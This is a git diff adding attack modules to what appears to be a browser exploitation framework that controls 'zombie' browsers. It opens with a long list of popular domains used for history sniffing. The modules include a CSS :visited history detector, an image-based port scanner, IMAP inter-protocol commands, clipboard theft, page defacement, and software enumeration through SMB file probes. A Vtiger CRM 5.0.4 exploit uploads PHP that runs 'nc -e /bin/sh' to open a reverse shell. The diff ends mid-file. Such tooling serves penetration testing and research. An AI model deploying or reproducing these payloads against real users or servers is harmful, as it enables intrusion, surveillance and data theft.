+hp.com +maktoob.com +mapquest.com +google.com.co +typepad.com +invisionfree.com +paypopup.com +mercadolibre.com.mx +schuelervz.net +sendspace.com +google.com.pk +ebay.fr +spiegel.de +hatena.ne.jp +google.be +seznam.cz +linkedin.com +answers.com +mercadolivre.com.br +xtube.com +dtiblog.com +dada.net +miniclip.com +xvideos.com +megaclick.com +softonic.com +bangbros1.com +adsrevenue.net +cricinfo.com +zedo.com +freewebs.com +hyves.nl +alibaba.com +xnxx.com +worldofwarcraft.com +bankofamerica.com +files.wordpress.com +badoo.com +hao123.com +filefront.com +google.com.pe +google.cl +google.com.vn +gamefaqs.com +seesaa.net +gougou.com +china.com +xanga.com +kooora.com +tom.com +google.gr +altervista.org +amazon.co.uk +zaycev.net +ocn.ne.jp +taringa.net +cyworld.com +indiatimes.com +ziddu.com +soufun.com +rapidshare.de +google.at +slide.com +bestbuy.com +tripod.com +liveinternet.ru +jugem.jp +flurl.com +fanfiction.net +thottbot.com +google.se +wwe.com +softpedia.com +pcpop.com +break.com +google.ch +chase.com +aebn.net +reuters.com +smileycentral.com +megavideo.com +marca.com +fling.com +eastmoney.com +debonairblog.com +altavista.com +xboard.us +freeones.com +myfreepaysite.com +netflix.com +google.ro +technorati.com +pchome.net +gametrailers.com +livescore.com +payserve.com +sonico.com +symantec.com +tagged.com +webshots.com +fotka.pl +google.com.my +last.fm +pornotube.com +ifolder.ru +tianya.cn +mozilla.org +archive.org +google.pt +gaiaonline.com +kaskus.us +target.com +yaplog.jp +21cn.com +walmart.com +tv.com +foxsports.com +dantri.com.vn +sogou.com +disney.go.com +ultimate-guitar.com +brazzersnetwork.com +uwants.com +ku6.com +dmm.co.jp +interia.pl +126.com +playstation.com +newgrounds.com +neopets.com +bangbros.com +runescape.com +xinhuanet.com +videosz.com +exblog.jp +foxnews.com +mywebsearch.com +istockphoto.com +elmundo.es +cocolog-nifty.com +nih.gov +newegg.com +skype.com +naukri.com +zango.com +match.com +shopping.com +sexyono.com +tu.tv +verycd.com +imagefap.com +blogchina.com +usps.com +att.com +yimg.com +wow-europe.com +mtv.com +washingtonpost.com +att.net +stumbleupon.com +cmfu.com +google.co.hu +milliyet.com.tr +esnips.com +forbes.com +livedoor.biz +vagos.es +wikia.com +engadget.com +leo.org +hurriyet.com.tr +porndirt.com +real.com +google.com.ph +monster.com +careerbuilder.com +over-blog.com +it168.com +letitbit.net +duowan.com +conduit.com +mobile9.com +mediaplex.com +clicksor.net +excite.co.jp +linternaute.com +hornymatches.com +wowhead.com +googlepages.com +startimes2.com +ebay.com.au +1und1.de +myvideo.de +rmxads.com +wamu.com +ups.com +meebo.com +jeuxvideo.com +no-ip.com +petardas.com +iwiw.hu +repubblica.it +dion.ne.jp +adult-empire.com +discuss.com.hk +msn.ca +vmn.net +so-net.ne.jp +starware.com +xbox.com +watch-movies.net +t-online.de +torrentreactor.net +utorrent.com +pornaccess.com +89.com +freelotto.com +univision.com +guardian.co.uk +btjunkie.org +rr.com +google.ae +verizon.net +teacup.com +mercadolibre.com.ar +expedia.com +forumfree.net +corriere.it +6park.com +ameba.jp +people.com.cn +mlb.com +shinobi.jp +minijuegos.com +ezinearticles.com +msplinks.com +xiaonei.com +pogo.com +iij4u.or.jp +forumcommunity.net +01net.com +ibm.com +dyndns.org +mynet.com +yam.com +google.com.ua +squidoo.com +mobile.de +google.dk +4chan.org +flixster.com +godaddy.com +wordreference.com +rude.com +110mb.com +bramjnet.com +people.com +sparkstudios.net +nokia.com +sapo.pt +zedge.net +wowarmory.com +chinaren.com +warez-bb.org +circuitcity.com +torrentz.ws +sify.com +thefreedictionary.com +nnm.ru +aweber.com +google.fi +moneycontrol.com +bild.de +commentcamarche.net +addictinggames.com +perezhilton.com +plala.or.jp +bharatstudent.com +tradedoubler.com +ifeng.com +ikea.com +kakaku.com +torrents.ru +crunchyroll.com +cartoonnetwork.com +google.com.tw +pchome.com.tw +allocine.fr +xhamster.com +wsj.com +vietnamnet.vn +hattrick.org +onemanga.com +abcnews.go.com +myway.com +juggcrew.com +spankwire.com +sweetim.com +dealtime.com +musica.com +atwiki.jp +marketgid.com +stage6.com +gyao.jp +fc2web.com +leonardo.it +whenu.com +zylom.com +buzznet.com +google.com.sg +adbrite.com +slickdeals.net +ebay.es +mforos.com +truveo.com +bangbrosnetwork.com +wannawatch.com +google.ie + diff --git a/modules/network/detect_visited_urls/index.php b/modules/network/detect_visited_urls/index.php new file mode 100644 index 000000000..a028f40ed --- /dev/null +++ b/modules/network/detect_visited_urls/index.php @@ -0,0 +1,587 @@ + + + +
    Detect Visited URLs
    +This module will attempt to detect which URLs the zombie browser has visited. It +uses the list below which can be manually edited.

    + +
    +
    +
    URLs
    + + + +
    +
    + + + + diff --git a/modules/network/detect_visited_urls/name.txt b/modules/network/detect_visited_urls/name.txt new file mode 100644 index 000000000..91196838a --- /dev/null +++ b/modules/network/detect_visited_urls/name.txt @@ -0,0 +1 @@ +Detect Visited URLs diff --git a/modules/network/detect_visited_urls/search.txt b/modules/network/detect_visited_urls/search.txt new file mode 100644 index 000000000..6d1325d81 --- /dev/null +++ b/modules/network/detect_visited_urls/search.txt @@ -0,0 +1,8 @@ +www.yahoo.com +yahoo.com +www.google.com +google.com +adwords.google.com +gmail.com +www.gmail.com +gmail.google.com diff --git a/modules/network/detect_visited_urls/sites.txt b/modules/network/detect_visited_urls/sites.txt new file mode 100644 index 000000000..5baa0d2ff --- /dev/null +++ b/modules/network/detect_visited_urls/sites.txt @@ -0,0 +1,41 @@ + +adwords.google.com +blogger.com +care.com +careerbuilder.com +ecademy.com +facebook.com +gather.com +gmail.com +gmail.google.com +google.com +linkedin.com +livejournal.com +monster.com +myspace.com +plaxo.com +ryze.com +slashdot.org +twitter.com +www.blogger.com +www.care2.com +www.careerbuilder.com +www.ecademy.com +www.facebook.com +www.gather.com +www.gmail.com +www.google.com +www.linkedin.com +www.livejournal.com +www.monster.com +www.myspace.com +www.plaxo.com +www.ryze.com +www.slashdot.org +www.twitter.com +www.xing.com +www.yahoo.com +www.ziggs.com +xing.com +yahoo.com +ziggs.com diff --git a/modules/network/detect_visited_urls/social.txt b/modules/network/detect_visited_urls/social.txt new file mode 100644 index 000000000..385d9fcb1 --- /dev/null +++ b/modules/network/detect_visited_urls/social.txt @@ -0,0 +1,33 @@ +www.twitter.com +twitter.com +www.myspace.com +myspace.com +www.facebook.com +facebook.com +www.slashdot.org +slashdot.org +www.livejournal.com +livejournal.com +blogger.com +www.blogger.com +gather.com +www.gather.com +ziggs.com +www.ziggs.com +plaxo.com +www.plaxo.com +www.care2.com +care.com +xing.com +www.xing.com +www.linkedin.com +linkedin.com +www.ryze.com +ryze.com +ecademy.com +www.ecademy.com +www.careerbuilder.com +careerbuilder.com +www.monster.com +monster.com + diff --git a/modules/network/detect_visited_urls/template.js b/modules/network/detect_visited_urls/template.js new file mode 100644 index 000000000..d0c3248eb --- /dev/null +++ b/modules/network/detect_visited_urls/template.js @@ -0,0 +1,57 @@ +function get_content(f){ + return (f.contentDocument) ? f.contentDocument : f.contentWindow.document; +} + +function is_visited(l){ + var dummy = document.getElementById("HIDDEN_FRAME"); + + if (!dummy){ + dummy = document.createElement("iframe"); + dummy.style.visibility = "hidden"; + dummy.id = "HIDDEN_FRAME"; + document.body.appendChild(dummy); + + var dummycontent = get_content(dummy); + var style = ""; + dummycontent.open(); + dummycontent.write(style); + dummycontent.close(); + } else { + var dummycontent = get_content(dummy); + } + + var dummylink = dummycontent.createElement("a"); + dummylink.href = l; + dummycontent.body.appendChild(dummylink); + + if (dummylink.currentStyle) { + visited = dummylink.currentStyle["width"]; + } else { + visited = dummycontent.defaultView.getComputedStyle(dummylink, null).getPropertyValue("width"); + } + + return (visited == "0px"); +} + +function check_list(rawurls) { + var result = "The browser has visited:"; + var found = false; + var urllist = rawurls.split(/!/); + for (var i=0; i < urllist.length; i++) { + if(is_visited('http://' + urllist[i])) { + result += String.fromCharCode(10); + result += 'http://' + urllist[i]; + found = true; + } + } + + if(!found) { + result += String.fromCharCode(10); + result += "none found"; + } + + return result; +} + +return_result(result_id, check_list('RAWURLS')); + diff --git a/modules/network/distributed_port_scanner/index.php b/modules/network/distributed_port_scanner/index.php new file mode 100644 index 000000000..704d1faf5 --- /dev/null +++ b/modules/network/distributed_port_scanner/index.php @@ -0,0 +1,97 @@ + + + + +
    Distributed Port Scanner
    + +
    + This module will send a subset of the ports to scan to each selected zombie browser. The + timeout parameter may need adjusting depending upon network latency.

    + + Web browsers explictly (programmatically) prohibit connection to some ports. The results + of these ports are indeterminate. For a full list please refer to + the mozilla page. +
    + +
    +
    +
    Target
    + +
    Port(s)
    + +
    Timeout
    + + + +
    +
    diff --git a/modules/network/distributed_port_scanner/name.txt b/modules/network/distributed_port_scanner/name.txt new file mode 100644 index 000000000..ee03b976e --- /dev/null +++ b/modules/network/distributed_port_scanner/name.txt @@ -0,0 +1 @@ +Distributed Port Scanner diff --git a/modules/network/distributed_port_scanner/template.js b/modules/network/distributed_port_scanner/template.js new file mode 100644 index 000000000..c16dd16f8 --- /dev/null +++ b/modules/network/distributed_port_scanner/template.js @@ -0,0 +1,46 @@ +var AttackAPI = { + version: '0.1', + author: 'Petko Petkov (architect)', + homepage: 'http://www.gnucitizen.org'}; + +AttackAPI.PortScanner = {}; +AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) { + var timeout = (timeout == null)?100:timeout; + var img = new Image(); + + img.onerror = function () { + if (!img) return; + img = undefined; + callback(target, port, 'open'); + }; + + img.onload = img.onerror; + img.src = 'http://' + target + ':' + port; + + setTimeout(function () { + if (!img) return; + img = undefined; + callback(target, port, 'closed'); + }, timeout); +}; +AttackAPI.PortScanner.scanTarget = function (callback, target, ports_str, timeout) + { + var ports = ports_str.split(","); + + for (index = 0; index < ports.length; index++) { + AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout); + } +}; + +function do_main(){ + var result = ""; + + var callback = function (target, port, status) { + result = target + ":" + port + " " + status; + return_result(result_id, result); + }; + + AttackAPI.PortScanner.scanTarget(callback, "TARGET", "PORTS", TIMEOUT); +} + +do_main() \ No newline at end of file diff --git a/modules/network/imap_ipc/index.php b/modules/network/imap_ipc/index.php new file mode 100644 index 000000000..3d9eaf536 --- /dev/null +++ b/modules/network/imap_ipc/index.php @@ -0,0 +1,55 @@ + + + + + +
    Inter-protocol Communication: IMAP4
    + +
    + Using Inter-protocol Communication the + zombie browser will send commands to an IMap4 server. The target address can be + on the zombie's subnet which is potentially not directly accessible from the Internet. +
    + +
    +
    +
    Target Address
    + +
    Commands
    + + + +
    +
    +
    + diff --git a/modules/network/imap_ipc/name.txt b/modules/network/imap_ipc/name.txt new file mode 100644 index 000000000..b8062acde --- /dev/null +++ b/modules/network/imap_ipc/name.txt @@ -0,0 +1 @@ +IMap4 IPC diff --git a/modules/network/imap_ipc/template.js b/modules/network/imap_ipc/template.js new file mode 100644 index 000000000..f68f9e8de --- /dev/null +++ b/modules/network/imap_ipc/template.js @@ -0,0 +1,74 @@ +var target_ip = 'IP_ADDRESS'; +var target_port = '220'; +var payload = ""; + +var scr_l = ''; +var scr_r = ''; +var max_line_len = 23; + +function add_line(cmd) { + payload += scr_l + cmd + scr_r + "\\\n"; +} + +function construct_js(js) { + add_line("a=''"); + + js = js.replace(/ /g, "SP") + + for(i=0; i: + + $year = date("Y"); + $month = date("F"); + $weekNum = date("W") - date("W",strtotime(date("Y-m-01"))) + 1; + $path = "/storage/$year/$month/week$weekNum/" + +?> + + + + +
    Vtiger CRM Upload Exploit
    +This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability +which is exploited is the in the CRM vtiger 5.0.4.

    + +Start the listener on the host: +
    +    nc -nvlp 8888
    +
    + +
    +
    + Target Web Server + + Target Directory + + Reverse Bindshell Host + + Reverse Bindshell Port + + + +
    +
    + diff --git a/modules/network/vtiger_crm_upload_exploit/name.txt b/modules/network/vtiger_crm_upload_exploit/name.txt new file mode 100644 index 000000000..49734c905 --- /dev/null +++ b/modules/network/vtiger_crm_upload_exploit/name.txt @@ -0,0 +1,2 @@ +Vtiger CRM Upload Exploit + diff --git a/modules/network/vtiger_crm_upload_exploit/template.js b/modules/network/vtiger_crm_upload_exploit/template.js new file mode 100644 index 000000000..de453d206 --- /dev/null +++ b/modules/network/vtiger_crm_upload_exploit/template.js @@ -0,0 +1,161 @@ +// VtigerCRM <= 5.0.4 "chained exploitation" PoC +// Hacked up for OWASP New Zealand Day, July 13th 2009 +// +// Thanks for the BeEF Wade :) + +// http://site/vtigercrm// +baseurl = "ATTACKURL"; + +function do_upload(){ + // start AJAX file upload in 1 second + window.setTimeout("ajax_upload()", 1000); +} + +// In a nutshell: +// +// 1) build url +// 2) construct the request object +// 3) POST the form +// 4) once requestdone, call do_callfile() + +function ajax_upload(){ + // Setup the AJAX POST + var targeturl = baseurl + '/index.php?module=uploads&action=add2db&return_module=Home&return_action=index'; + var binary; + var filename; + var mytext; + + http_request = false; + http_request = new XMLHttpRequest(); + if (!http_request) { + // fail silently! + return false; + } + + //prepare the POST + var boundaryString = 'PWNED'; + var boundary = '-----------------------------PWNED'; + var requestbody = + boundary + '\\n' + + 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\\n' + + '\\n' + + 3000000 + '\\n' + + boundary + + '\\n' + + 'Content-Disposition: form-data; name="return_module"' + '\\n' + + '\\n' + + '\\n' + + boundary + + '\\n' + + 'Content-Disposition: form-data; name="return_action"' + '\\n' + + '\\n' + + '\\n' + + boundary + + '\\n' + + 'Content-Disposition: form-data; name="return_id"' + '\\n' + + '\\n' + + '\\n' + + boundary + + '\\n' + + 'Content-Disposition: form-data; name="uploadsubject"' + '\\n' + + '\\n' + + '\\n' + + boundary + + '\\n' + + 'Content-Disposition: form-data; name="filename"; filename="vtiger-fun.PHP"' + '\\n' + + 'Content-Type: application/x-httpd-php' + '\\n' + + '\\n' + + '<\?php' + '\\n' + + 'passthru("/bin/nc -e /bin/sh CONNECTHOST CONNECTPORT");' + '\\n' + + '\?>' + '\\n' + + '\\n' + + boundary + + '\\n' + + 'Content-Disposition: form-data; name="filename_hidden"' + '\\n' + + '\\n' + + 'vtiger-fun.PHP' + + '\\n' + + boundary + + '\\n' + + 'Content-Disposition: form-data; name="txtDescription"' + '\\\n' + + '\\n' + + 'drop it like its hot' + '\\n' + + boundary + + '\\n' + + 'Content-Disposition: form-data; name="save"' + '\\n' + + '\\n' + + 'Attach' + '\\n' + + boundary; + + http_request.onreadystatechange = requestdone; + http_request.open('POST', targeturl, true); + http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=---------------------------PWNED"); + http_request.setRequestHeader("Content-length", requestbody.length); + http_request.send(requestbody); +} + +// ajax call done... File uploaded? :) +function requestdone() { + if (http_request.readyState == 4) { + if (http_request.status == 200) { + result = http_request.responseText; + // find our file + do_callfile(); + } else { + // fail silently + + } + } +} + + +function requestfile() { + if (http_request.readyState == 4) { + if (http_request.status == 200) { + result = http_request.responseText; + } else { + // fail silently + + } + } +} +// find our file :) +// +// Dirty brute force +function do_callfile(){ + var i=0; + for (i=0;i<=1000;i++) + { + http_request = false; + http_request = new XMLHttpRequest(); + if (!http_request) { + // fail silently! + return false; + } + + var findurl = baseurl + "FILEPATH" + i + "_vtiger-fun.PHP"; + var requestbody = "birds of a feather flock together"; + + http_request.onreadystatechange = requestfile; + http_request.open('POST', findurl, true); + http_request.setRequestHeader("Content-length", requestbody.length); + http_request.send(requestbody); + + } +} + +// Add your clean up routine here. +function do_cleanup() { + //document.write("Maybe your security team should check out owasp.org? ;)"); +} + +// Try the upload +function do_main(){ + do_upload(); +} + +// Run the sploit +do_main(); + +do_cleanup(); +return_result(result_id, "RTN"); diff --git a/modules/standard/alert_dialog/index.php b/modules/standard/alert_dialog/index.php new file mode 100644 index 000000000..9a49e2bb6 --- /dev/null +++ b/modules/standard/alert_dialog/index.php @@ -0,0 +1,45 @@ + + + + + +
    Alert Dialog
    +This module will display an alert dialog in the selected zombie browsers.

    +
    +
    +
    String
    + + + +
    +
    diff --git a/modules/standard/alert_dialog/name.txt b/modules/standard/alert_dialog/name.txt new file mode 100644 index 000000000..89ebb6fc6 --- /dev/null +++ b/modules/standard/alert_dialog/name.txt @@ -0,0 +1 @@ +Alert Dialog diff --git a/modules/standard/alert_dialog/template.js b/modules/standard/alert_dialog/template.js new file mode 100644 index 000000000..f3ea90f4b --- /dev/null +++ b/modules/standard/alert_dialog/template.js @@ -0,0 +1,6 @@ +function do_main(){ + alert("ALERTSTRING"); +} + +do_main(); +return_result(result_id, "RTN"); \ No newline at end of file diff --git a/modules/standard/clipboard_theft/index.php b/modules/standard/clipboard_theft/index.php new file mode 100644 index 000000000..85d2667ea --- /dev/null +++ b/modules/standard/clipboard_theft/index.php @@ -0,0 +1,42 @@ + + + + +
    Clipboard Theft
    +This module will work automatically with Internet Explorer browsers before 7.x. In later +versions of Internet Explorer, the browser will prompt the user and ask for permission to +access the clipboard.

    +
    +
    + + +
    +
    + diff --git a/modules/standard/clipboard_theft/name.txt b/modules/standard/clipboard_theft/name.txt new file mode 100644 index 000000000..67c728ef7 --- /dev/null +++ b/modules/standard/clipboard_theft/name.txt @@ -0,0 +1 @@ +Clipboard Theft diff --git a/modules/standard/clipboard_theft/template.js b/modules/standard/clipboard_theft/template.js new file mode 100644 index 000000000..bcf68689f --- /dev/null +++ b/modules/standard/clipboard_theft/template.js @@ -0,0 +1,2 @@ + +return_result(result_id, clipboardData.getData("Text")); \ No newline at end of file diff --git a/modules/standard/deface_web_page/index.php b/modules/standard/deface_web_page/index.php new file mode 100644 index 000000000..71dabc274 --- /dev/null +++ b/modules/standard/deface_web_page/index.php @@ -0,0 +1,45 @@ + + + + + +
    Deface Web Page
    +This module will overwrite the content of the selected zombies with the value entered in the +'Deface String' input.

    +
    +
    +
    Deface String
    + + + +
    +
    diff --git a/modules/standard/deface_web_page/name.txt b/modules/standard/deface_web_page/name.txt new file mode 100644 index 000000000..3fe18ccc4 --- /dev/null +++ b/modules/standard/deface_web_page/name.txt @@ -0,0 +1 @@ +Deface Web Page diff --git a/modules/standard/deface_web_page/template.js b/modules/standard/deface_web_page/template.js new file mode 100644 index 000000000..a3a37a0fa --- /dev/null +++ b/modules/standard/deface_web_page/template.js @@ -0,0 +1,7 @@ +function do_main(){ + document.body.innerHTML = "HTMLCONTENT"; +} + +do_main(); + +return_result(result_id, "Site defaced"); \ No newline at end of file diff --git a/modules/standard/detect_flash/index.php b/modules/standard/detect_flash/index.php new file mode 100644 index 000000000..859956b0a --- /dev/null +++ b/modules/standard/detect_flash/index.php @@ -0,0 +1,41 @@ + + + + + +
    Detect Flash
    +This module will detect if Adobe Flash Player is available in the selected zombie browsers.

    +
    +
    +
    + + +
    +
    + diff --git a/modules/standard/detect_flash/name.txt b/modules/standard/detect_flash/name.txt new file mode 100644 index 000000000..c6099ff42 --- /dev/null +++ b/modules/standard/detect_flash/name.txt @@ -0,0 +1 @@ +Detect Flash diff --git a/modules/standard/detect_flash/template.js b/modules/standard/detect_flash/template.js new file mode 100644 index 000000000..68403531b --- /dev/null +++ b/modules/standard/detect_flash/template.js @@ -0,0 +1,13 @@ +function do_main(){ + + if (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]) { + result = "Flash is available in browser"; + } else { + result = "Flash is NOT available in browser"; + } +} + +var result = null; +do_main(); + +return_result(result_id, result); \ No newline at end of file diff --git a/modules/standard/detect_java/index.php b/modules/standard/detect_java/index.php new file mode 100644 index 000000000..05e85c107 --- /dev/null +++ b/modules/standard/detect_java/index.php @@ -0,0 +1,42 @@ + + + + + +
    Detect Java
    +This module will detect if Java is available in the selected zombie browsers.

    +
    +
    +
    + + +
    +
    + diff --git a/modules/standard/detect_java/name.txt b/modules/standard/detect_java/name.txt new file mode 100644 index 000000000..08bce8c2b --- /dev/null +++ b/modules/standard/detect_java/name.txt @@ -0,0 +1 @@ +Detect Java diff --git a/modules/standard/detect_java/template.js b/modules/standard/detect_java/template.js new file mode 100644 index 000000000..f661ea562 --- /dev/null +++ b/modules/standard/detect_java/template.js @@ -0,0 +1,17 @@ +function do_main(){ + + // https://developer.mozilla.org/en/DOM/window.navigator.javaEnabled + // bug in XP SP2 + if( window.navigator.javaEnabled() ) { + result = "Java is available in browser"; + } else { + result = "Java is NOT available in browser"; + } + +} + +var result = null; + +do_main(); + +return_result(result_id, result); \ No newline at end of file diff --git a/modules/standard/detect_plugins/index.php b/modules/standard/detect_plugins/index.php new file mode 100644 index 000000000..162a9e83e --- /dev/null +++ b/modules/standard/detect_plugins/index.php @@ -0,0 +1,41 @@ + + + + + +
    Detect Plugins
    +This module will retrieve the selected zombie browser plugins.

    +
    +
    +
    + + +
    +
    + diff --git a/modules/standard/detect_plugins/name.txt b/modules/standard/detect_plugins/name.txt new file mode 100644 index 000000000..97eee923b --- /dev/null +++ b/modules/standard/detect_plugins/name.txt @@ -0,0 +1 @@ +Detect Plugins diff --git a/modules/standard/detect_plugins/template.js b/modules/standard/detect_plugins/template.js new file mode 100644 index 000000000..11cda3b38 --- /dev/null +++ b/modules/standard/detect_plugins/template.js @@ -0,0 +1,19 @@ +function do_main(){ + + if (navigator.plugins && navigator.plugins.length > 0) { + var pluginsArrayLength = navigator.plugins.length; + + for (pluginsArrayCounter=0; pluginsArrayCounter < pluginsArrayLength; pluginsArrayCounter++ ) { + result += navigator.plugins[pluginsArrayCounter].name; + if(pluginsArrayCounter < pluginsArrayLength-1) { + result += String.fromCharCode(10); + } + } + } +} + +var result = ""; + +do_main(); + +return_result(result_id, result); diff --git a/modules/standard/detect_quicktime/index.php b/modules/standard/detect_quicktime/index.php new file mode 100644 index 000000000..97164813d --- /dev/null +++ b/modules/standard/detect_quicktime/index.php @@ -0,0 +1,40 @@ + + + + + +
    Detect QuickTime
    +This module will detect if QuickTime is available in the selected zombie browsers.

    +
    +
    +
    + + +
    +
    + diff --git a/modules/standard/detect_quicktime/name.txt b/modules/standard/detect_quicktime/name.txt new file mode 100644 index 000000000..8c9df5ba3 --- /dev/null +++ b/modules/standard/detect_quicktime/name.txt @@ -0,0 +1 @@ +Detect QuickTime diff --git a/modules/standard/detect_quicktime/template.js b/modules/standard/detect_quicktime/template.js new file mode 100644 index 000000000..fcdccb246 --- /dev/null +++ b/modules/standard/detect_quicktime/template.js @@ -0,0 +1,23 @@ +function do_main(){ + + result = "QuickTime is NOT available in browser"; + + if (navigator.plugins) { + for (i=0; i < navigator.plugins.length; i++ ) { + if (navigator.plugins[i].name.indexOf("QuickTime")>=0){ + result = "QuickTime is available in browser"; + } + } + } + + if ((navigator.appVersion.indexOf("Mac") > 0) && + (navigator.appName.substring(0,9) == "Microsoft") && + (parseInt(navigator.appVersion) < 5) ) { + result = "QuickTime is available in browser"; + } +} + +result = null; +do_main(); + +return_result(result_id, result); \ No newline at end of file diff --git a/modules/standard/detect_software/index.php b/modules/standard/detect_software/index.php new file mode 100755 index 000000000..5b3037875 --- /dev/null +++ b/modules/standard/detect_software/index.php @@ -0,0 +1,49 @@ + + + + + +
    Detect Software
    +This module detects the software that is installed on the client. It uses a process of SMB enumeration.

    + +This module only works in Internet Explorer.

    +
    +
    +
    + + +
    +
    + diff --git a/modules/standard/detect_software/name.txt b/modules/standard/detect_software/name.txt new file mode 100755 index 000000000..b51f3bd11 --- /dev/null +++ b/modules/standard/detect_software/name.txt @@ -0,0 +1 @@ +Detect Software diff --git a/modules/standard/detect_software/template.js b/modules/standard/detect_software/template.js new file mode 100755 index 000000000..92b972d30 --- /dev/null +++ b/modules/standard/detect_software/template.js @@ -0,0 +1,179 @@ +function do_main(){ + + if (navigator.appName != "Microsoft Internet Explorer") { + result = 'Client is NOT using Microsoft Internet Explorer'; + } + else { + var pic1 = new Image(); + pic1.src= "file:///\\127.0.0.1/C$/WINDOWS/system32/ntimage.gif"; + var pic2 = new Image(); + pic2.src= "file:///\\127.0.0.1/C$/Windows/Web/Wallpaper/img1.jpg"; + if (pic1.width == 28 && pic2.width == 28) { + result = 'The SMB enumeration technique doesnt appear to work on target'; + } + else { + var working = 1; + } + + if (working == 1) { + var usernames = [ //enter info here based on prior info... + "Administrator", + "walcorn", + "jabraham", + "rhansen", + ] + var files = [ + "Adobe/Reader 9.0/Reader/Tracker/add_reviewer.gif", + "NetWaiting/Logon.bmp", + "Windows NT/Pinball/table.bmp", + "InterVideo/WinDVD/Skins/WinDVD 5/Audio SRS Subpanel/Audio_SRS_Subpanel_Base_Mask.bmp", + "Java/jre1.6.0_02/lib/images/cursors/invalid32x32.gif", + "Common Files/Roxio Shared/9.0/Tutorial/Graphics/archive.gif", + "Windows Sidebar/Gadgets/Weather.Gadget/images/1px.gif", + "Pinnacle/Shared Files/Pixie/Register/hdr_register_1.gif", + "Adobe/Reader 8.0/Reader/BeyondReader/ENU/Onramp/acrobat.gif", + "eFax Messenger 4.3/Media/ENU/confidential.gif", + "InterActual/InterActual Player/help/images/btm_bckg.gif", + "Intuit/QuickBooks 2007/Components/Help/Updates/bolt.gif", + "Java/jre1.5.0_11/lib/images/cursors/win32_CopyDrop32x32.gif", + "Macromedia/Flash 8/en/First Run/HelpPanel/_sharedassets/check.gif", + "Microsoft Dynamics CRM/Client/res/web/_imgs/configure.gif", + "Microsoft Office/Live Meeting 8/Console/Playback/Engine/img/dropdown-arrow.gif", + "Microsoft Visual Studio 8/Common7/IDE/VBExpress/ProjectTemplatesCache/1033/MovieCollection.zip/Documentation/images/side-vb.gif", + "Mozilla Firefox/res/broken-image.gif", + "Mozilla Thunderbird/res/grabber.gif", + "TechSmith/SnagIt 9/HTML_Content/add-in.gif", + "VMware/VMware Player/help/images/collapse.gif", + "WildPackets/OmniPeek Personal/1033/Html/expert-red-yellow-on.gif", + "FreeMind/accessories/hide.png", + "HP/Digital Imaging/Skins/oov1/bc/img/bc-backLogo.png", + "Movie Maker/Shared/news.png", + "MySQL/MySQL Tools for 5.0/images/grt/db/column.png", + "Safari/Safari.resources/compass.png", + "ThinkVantage Fingerprint Software/rsc/logon.png", + "Trillian/plugins/GoodNews/icons/logo.png", + "Trillian/users/default/cache/account-AIM-offline.png", + "VideoLAN/VLC/http/images/delete.png", + "Virtual Earth 3D/Data/Atmosphere.png", + "Windows Media Connect 2/wmc_bw120.png", + "Analog Devices/SoundMAX/CPApp.ico", + "AT&T/Communication Manager/desktop.ico", + "ATI Technologies/ATI.ACE/branding.ico", + "Canon/ZoomBrowser EX/Program/CIGLibDisplayIcon.ico", + "CDBurnerXP Pro 3/Resources/cdbxp.ico", + "DivX/divxdotcom.ico", + "Fiddler/IE_Toolbar.ico", + "HP/SwfScan/SwfScan.ico", + "iPhone Configuration Utility/Document-Config.ico", + "Microsoft Device Emulator/1.0/emulator.ico", + "MSN/MSNCoreFiles/Install/msnms.ico", + "OpenVPN/openvpn.ico", + "Paros/paros_logo.ico", + "Adobe/Photoshop 6.0/Help/images/banner.jpg", + "iTunes/iTunes.Resources/genre-blues.jpg", + "Source Insight 3/images/SubBack.jpg", + "Canon/CameraWindow/MyCameraFiles/VI_JPG/XMAS22_VI01.JPG", + "Microsoft Office/OFFICE11/REFBAR.ICO", + "Microsoft Office/OFFICE12/REFBAR.ICO", + "Windows Media Player/Network Sharing/wmpnss_color48.jpg", + ] + var descriptions = [ + "Adobe Reader 9.0", + "WinDVD", + "Windows Pinball", + "Conexant NetWaiting", + "JRE 1.6.0_22", + "Roxio 9.0", + "Windows Weather Gadget", + "Pinnacle", + "Adobe Reader 8.0", + "eFax Manager 4.0", + "Interactual Player", + "Quickbooks", + "JRE 1.5.0_11", + "Flash 8", + "Microsoft CRM", + "Microsoft Live Meeting 8", + "Microsoft Visual Studio 8", + "Mozilla Firefox", + "Mozilla Thunderbird", + "Snagit 9", + "VMware Player", + "Omnipeek Personal", + "Freemind", + "HP Digital Imaging", + "Windows Movie Maker", + "MySQL Tools for 5.0", + "Safari", + "ThinkVantage Fingerprint Software", + "Trillian Plugin GoodNews", + "Trillian", + "VideoLAN VLC", + "Microsoft Virtial Earth 3D", + "Windows Media Connect 2", + "SoundMAX", + "AT&T Communications Manager", + "ATI Technologies ATI.ACE", + "Canon ZoomBrowser", + "CDBurnerXP Pro 3", + "DivX", + "Fiddler", + "HP's SwfScan", + "iPhone Configuration Utility", + "Microsoft Device Emulator", + "MSN", + "OpenVPN", + "Paros", + "Adobe Photoshop 6.0", + "iTunes", + "Source Insight 3", + "Canon CameraWindow", + "Microsoft Office 11", + "Microsoft Office 12", + "Windows Media Player" + ] + + var sixtyfourbitvista = 0; + for (var x = 0; x < files.length; x++) { + var pic1 = new Image(); + pic1.src= "file:///\\127.0.0.1/C$/Program Files/" + files[x]; + if (pic1.width != 28) { //size of broken image + result += descriptions[x] + "\n"; + } + else { + pic1.src= "file:///\\127.0.0.1/C$/Program Files (x86)/" + files[x]; + if (pic1.width != 28) { //size of broken image + result += descriptions[x] + " found\n"; + sixtyfourbitvista = 1; + } + } + } + document.write (""); + if (sixtyfourbitvista == 1) { + result += "Appears to be 64 bit Vista\n"; + } + + for (var x = 0; x < usernames.length; x++) { + var pic1 = new Image(); + //possibles: + // /Application Data/TurboMeeting/TurboMeeting/image/Accept.jpg + // /Local Settings/Application Data/Macromedia/Flash 8/en/Configuration/HelpPanel/_sharedassets/check.gif + // /My Documents/eFax Messenger 4.3/confidential.gif + // /Tenable/Nessus/reports/html/images/pixel.gif + if (sixtyfourbitvista == 1) { + pic1.src= "file:///\\127.0.0.1/C$/Users/" + usernames[x] + "/Local Settings/Application Data/Macromedia/Flash 8/en/Configuration/HelpPanel/_sharedassets/check.gif"; + } else { + pic1.src= "file:///\\127.0.0.1/C$/Documents and Settings/" + usernames[x] + "/Local 